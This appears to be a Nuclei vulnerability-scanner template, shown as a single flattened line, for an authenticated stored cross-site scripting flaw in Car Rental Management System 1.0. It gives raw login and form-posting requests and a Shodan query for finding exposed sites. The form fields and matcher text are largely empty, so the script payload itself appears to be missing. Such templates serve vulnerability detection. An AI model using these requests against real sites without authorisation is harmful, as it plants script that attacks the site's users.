id: carrental-xss info: name: Car Rental Management System 1.0 - Cross-Site Scripting author: arafatansari severity: medium description: | Car Rental Management System 1.0 contains a cross-site scripting vulnerability via admin/ajax.php?action=save_category in Name and Description parameter. reference: - https://www.exploit-db.com/exploits/49546 - https://www.sourcecodester.com/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cwe-id: CWE-80 metadata: verified: true max-request: 3 shodan-query: http.html:"Car Rental Management System" tags: xss,cms,authenticated,edb,intrusive http: - raw: - | POST /admin/ajax.php?action=login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{username}}&password={{password}} - | POST /admin/ajax.php?action=save_category HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCMJ5bh3B6m9767Em ------WebKitFormBoundaryCMJ5bh3B6m9767Em Content-Disposition: form-data; name="id" ------WebKitFormBoundaryCMJ5bh3B6m9767Em Content-Disposition: form-data; name="name" ------WebKitFormBoundaryCMJ5bh3B6m9767Em Content-Disposition: form-data; name="description" ------WebKitFormBoundaryCMJ5bh3B6m9767Em-- - | GET /admin/index.php?page=categories HTTP/1.1 Host: {{Hostname}} host-redirects: true max-redirects: 2 cookie-reuse: true matchers-condition: and matchers: - type: word part: body words: - '

Name: ' - type: word part: header words: - text/html - type: status status: - 200 # digest: 4a0a00473045022075cca4cd4b4b7783a19e7ded03248fac883d9118b500c1d7ddd7126b35c70c74022100deffc0352c71d2def6eeb5b3003a150283d0fd06e0caf46343a05006c818569e:922c64590222798bb761d5b6d8e72950